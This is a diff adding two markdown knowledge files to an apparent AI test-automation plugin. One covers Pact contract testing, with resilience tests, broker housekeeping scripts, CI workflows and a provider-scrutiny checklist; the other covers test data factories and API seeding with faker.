+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
